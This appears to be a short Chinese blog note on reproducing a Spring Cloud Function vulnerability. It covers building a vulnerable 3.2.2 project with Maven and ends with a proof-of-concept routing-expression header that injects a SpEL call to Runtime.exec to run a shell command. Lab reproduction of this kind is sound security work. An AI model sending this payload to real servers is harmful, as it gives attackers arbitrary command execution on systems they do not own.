首先安装Maven

brew install maven

windows@windows Desktop % mvn -v
Apache Maven 3.8.5
Maven home: /opt/homebrew/Cellar/maven/3.8.5/libexec
Java version: 18, vendor: Homebrew, runtime: /opt/homebrew/Cellar/openjdk/18/libexec/openjdk.jdk/Contents/Home
Default locale: zh_KR_#Hans, platform encoding: UTF-8
OS name: "mac os x", version: "12.2.1", arch: "aarch64", family: "mac"

添加spring web和Function

新建项目的时候,会自动添加function最新版本,目前是3.2.2,是存在漏洞的,官方还没发布新的版本

如果要指定版本可以加入

 <version>3.x.x</version>
默认情况下,只能在POST /functionRouterde的路由下执行poc,如果要自定义路径就在application.properties中加入
spring.cloud.function.definition=functionRouter
运行代码:
mvn spring-boot:run
打包jar:
mvn clean package

然后执行poc

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("open /Applications/Safari.app http://x.com")
最后更新于 2022-04-07